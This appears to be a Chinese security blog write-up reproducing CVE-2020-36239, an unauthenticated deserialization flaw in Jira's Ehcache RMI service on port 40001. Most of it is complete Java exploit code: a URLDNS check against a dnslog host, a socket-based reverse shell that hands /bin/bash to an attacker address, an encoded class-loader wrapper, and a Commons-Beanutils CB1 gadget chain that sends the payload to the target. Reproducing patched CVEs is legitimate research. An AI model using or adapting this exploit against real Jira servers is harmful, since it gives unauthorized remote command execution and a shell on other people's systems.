简介

2021 年 7 月 9 日上午 5:44 Jira 官方发布公告 《Jira 数据中心和 Jira 服务管理数据中心 - Ehcache RMI 缺少身份验证 - CVE-2020-36239(https://jira.atlassian.com/browse/JSDSERVER-8454)》, 该漏洞影响多个产品的多个版本,官方已给出修复方法。详细请关注 Jira 官网,将软件更新至安全版本: https://jira.atlassian.com/

背景

由于在复现CVE2020-36239这个漏洞的时候,使用ysoserial项目中的代码,执行CB1,无法成功利用反弹shell,执行任意命令,导致一直在找问题,最后通过和同事沟通,发现该漏洞存在的Commons Beanutils 确实是可以利用,但是Commons Collections 版本较高,是无法利用成功的;仔细查看其实所有的CC链,CB链其实就是代码执行,只是执行的代码是Runtime.getRuntime.exec(cmd),其中cmd为需要执行的命令,在部署的目标测试环境,通过实验最后得知,在使用Runtime.getRuntime.exec(cmd)是无法执行命令(反弹shell)最后通过修改代码执行逻辑,使用Java的socket编程来反弹shell。

漏洞分析

根据官方的描述该漏洞是因为: 暴露了一个 Ehcache RMI 网络服务,攻击者可以在端口 40001 和潜在的 40011 上连接到该服务,由于缺少身份验证漏洞,可以通过反序列化在 Jira 中执行他们选择的任意代码
使用Nmap扫描

  1. nmap -T 4 -A 10.1.1.13 -p 40001

image.png
其中绑定的name为rmi://com.atlassian.jira.index.property.CachingPluginIndexConfigurationManager.cacheByEntityKey;绑定的实例接口为net.sf.ehcache.distribution.RMICachePeer_Stub

漏洞触发点

在 net.sf.ehcache.distribution.RMICachePeer_Stub 找触发点, 官方通报中说是 Ehcache 暴露的 RMI 服务,所以实体类应该也在 Ehcache 包里
在绑定的 net.sf.ehcache.distribution.RMICachePeer_Stub类中的 getQuiet方法接收的参数是 Serializeable对象,这里就是漏洞的触发点
image.png

漏洞验证

所有绑定的 name, 都是绑定 net.sf.ehcache.distribution.RMICachePeer_Stub, 所以随机选一个就可以了, 使用 URLDNS 验证了漏洞确实存在

  1. package com.myproject.temp;
  2. import net.sf.ehcache.distribution.RMICachePeer_Stub;
  3. import java.lang.reflect.Field;
  4. import java.net.URL;
  5. import java.rmi.Naming;
  6. import java.util.HashMap;
  7. public class Test {
  8. public static void main(String[] args) throws Exception {
  9. URL url = new URL("http://vd2vvt.dnslog.cn");
  10. HashMap hashMap = new HashMap();
  11. hashMap.put(url,"hhh");
  12. Field field = URL.class.getDeclaredField("hashCode");
  13. field.setAccessible(true);
  14. field.setInt(url,-1);
  15. RMICachePeer_Stub rmiCachePeer_stub = (RMICachePeer_Stub) Naming.lookup("rmi://10.1.1.13:40001/com.atlassian.jira.index.property.CachingPluginIndexConfigurationManager.cacheByEntityKey");
  16. rmiCachePeer_stub.getQuiet(hashMap);
  17. }
  18. }

image.png
通过查看Jira 是否用了存在利用链的包,Commons-Collection 都用了相对安全的版本,但是 Commons-Beanutils 1.9.4 存在利用链,那么就可以利用CB1来构造序列化对象

EXP

首先编写shell.java,利用socket 编程反弹shell到目标地址,注意这里一定要写进无参构造函数,因为利用CB1链,通过javassit写入到新的类,再将其转换成bytecode 放在TemplatesImpl._bytecodes时,最后执行的是newInstance(),也就是实例化的过程,需要放在构造函数中

  1. package com.myproject.temp;
  2. public class shell {
  3. public shell(){
  4. try{
  5. String host = "xxx.xxx.xxx.xxx";
  6. int port = port;
  7. String cmd = "/bin/bash";
  8. java.lang.Process p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
  9. java.net.Socket s = new java.net.Socket(host, port);
  10. java.io.InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
  11. java.io.OutputStream po = p.getOutputStream(), so = s.getOutputStream();
  12. while (!s.isClosed()) {
  13. while (pi.available() > 0) {
  14. so.write(pi.read());
  15. }
  16. while (pe.available() > 0) {
  17. so.write(pe.read());
  18. }
  19. while (si.available() > 0) {
  20. po.write(si.read());
  21. }
  22. so.flush();
  23. po.flush();
  24. Thread.sleep(50);
  25. try {
  26. p.exitValue();
  27. break;
  28. } catch (Exception e) {
  29. }
  30. }
  31. p.destroy();
  32. s.close();
  33. }catch (Exception e){}
  34. }
  35. public static void main(String[] args) {
  36. System.out.println(123);
  37. }
  38. }

然后需要编写一个ClassLoader,让javassist从源中读取该类文件,并返回CtClass对该类文件的对象的引用,主要原因是因为要将shell.class 转换成base64编码进行写入,最后再通过classloader进行解码,再将其转换成bytecode,放入到Templates._bytecode中
这里参考的是Y4er——ysoserial大哥更改后的项目

  1. package com.myproject.temp;
  2. import java.io.ByteArrayInputStream;
  3. import java.io.ByteArrayOutputStream;
  4. import java.lang.reflect.Method;
  5. import java.net.URL;
  6. import java.net.URLClassLoader;
  7. import java.util.zip.GZIPInputStream;
  8. public class ClassLoaderTemplate {
  9. static String b64;
  10. static {
  11. try {
  12. GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64)));
  13. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  14. byte[] bs = new byte[4096];
  15. int read;
  16. while ((read = gzipInputStream.read(bs)) != -1) {
  17. byteArrayOutputStream.write(bs, 0, read);
  18. }
  19. byte[] bytes = byteArrayOutputStream.toByteArray();
  20. ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
  21. Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  22. defineClass.setAccessible(true);
  23. Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
  24. invoke.newInstance();
  25. } catch (Exception e) {
  26. // e.printStackTrace();
  27. }
  28. }
  29. public static byte[] base64Decode(String bs) throws Exception {
  30. Class base64;
  31. byte[] value = null;
  32. try {
  33. base64 = Class.forName("java.util.Base64");
  34. Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  35. value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  36. } catch (Exception e) {
  37. try {
  38. base64 = Class.forName("sun.misc.BASE64Decoder");
  39. Object decoder = base64.newInstance();
  40. value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  41. } catch (Exception e2) {
  42. }
  43. }
  44. return value;
  45. }
  46. }

最后再将CB1的逻辑完成,如下所示

  1. PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
  2. queue.add(1);
  3. queue.add(1);
  4. Constructor constructor = Class.forName("org.apache.commons.beanutils.BeanComparator").getDeclaredConstructor();
  5. BeanComparator comparator = (BeanComparator) constructor.newInstance();
  6. Field f3 = Class.forName("org.apache.commons.beanutils.BeanComparator").getDeclaredField("property");
  7. f3.setAccessible(true);
  8. f3.set(comparator,"outputProperties");
  9. Field f4 = queue.getClass().getDeclaredField("comparator");
  10. f4.setAccessible(true);
  11. f4.set(queue,comparator);
  12. Field f5 = queue.getClass().getDeclaredField("queue");
  13. f5.setAccessible(true);
  14. Object[] queueArray = (Object[]) f5.get(queue);
  15. queueArray[0] = templates;

完整代码如下

  1. package com.myproject.temp;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import javassist.ClassClassPath;
  5. import javassist.ClassPool;
  6. import javassist.CtClass;
  7. import net.sf.ehcache.distribution.RMICachePeer_Stub;
  8. import org.apache.commons.beanutils.BeanComparator;
  9. import org.apache.commons.codec.binary.Base64;
  10. import org.apache.wicket.util.file.Files;
  11. import java.io.ByteArrayOutputStream;
  12. import java.io.File;
  13. import java.io.Serializable;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.rmi.Naming;
  17. import java.util.PriorityQueue;
  18. import java.util.zip.GZIPOutputStream;
  19. public class Test_2 {
  20. public static void main(String[] args) throws Exception {
  21. byte[] ctBytes = Files.readBytes(new File("/Users/aaronluo/Documents/CodeReview/JavaCode/Project/target/classes/com/myproject/temp/shell.class"));
  22. ClassPool pool = ClassPool.getDefault();
  23. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  24. CtClass superC = pool.get(AbstractTranslet.class.getName());
  25. CtClass ctClass;
  26. ctClass = pool.get("com.myproject.temp.ClassLoaderTemplate");
  27. ctClass.setName(ctClass.getName() + System.nanoTime());
  28. ByteArrayOutputStream outBuf = new ByteArrayOutputStream();
  29. GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf);
  30. gzipOutputStream.write(ctBytes);
  31. gzipOutputStream.close();
  32. String content = "b64=\"" + Base64.encodeBase64String(outBuf.toByteArray()) + "\";";
  33. ctClass.makeClassInitializer().insertBefore(content);
  34. ctClass.setSuperclass(superC);
  35. ctClass.writeFile();
  36. byte[] classBytes = ctClass.toBytecode();
  37. byte[][] targetByteCodes = new byte[][]{classBytes};
  38. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  39. Field f = templates.getClass().getDeclaredField("_name");
  40. f.setAccessible(true);
  41. f.set(templates,"123");
  42. Field f1 = templates.getClass().getDeclaredField("_bytecodes");
  43. f1.setAccessible(true);
  44. f1.set(templates,targetByteCodes);
  45. Field f2 = templates.getClass().getDeclaredField("_class");
  46. f2.setAccessible(true);
  47. f2.set(templates,null);
  48. PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
  49. queue.add(1);
  50. queue.add(1);
  51. Constructor constructor = Class.forName("org.apache.commons.beanutils.BeanComparator").getDeclaredConstructor();
  52. BeanComparator comparator = (BeanComparator) constructor.newInstance();
  53. Field f3 = Class.forName("org.apache.commons.beanutils.BeanComparator").getDeclaredField("property");
  54. f3.setAccessible(true);
  55. f3.set(comparator,"outputProperties");
  56. Field f4 = queue.getClass().getDeclaredField("comparator");
  57. f4.setAccessible(true);
  58. f4.set(queue,comparator);
  59. Field f5 = queue.getClass().getDeclaredField("queue");
  60. f5.setAccessible(true);
  61. Object[] queueArray = (Object[]) f5.get(queue);
  62. queueArray[0] = templates;
  63. Serializable payload = (Serializable) queue;
  64. RMICachePeer_Stub rmiCachePeer_stub = (RMICachePeer_Stub) Naming.lookup("rmi://10.1.1.13:40001/com.atlassian.jira.index.property.CachingPluginIndexConfigurationManager.cacheByEntityKey");
  65. rmiCachePeer_stub.getQuiet(payload);
  66. }
  67. }

image.png

参考链接

https://forum.butian.net/share/653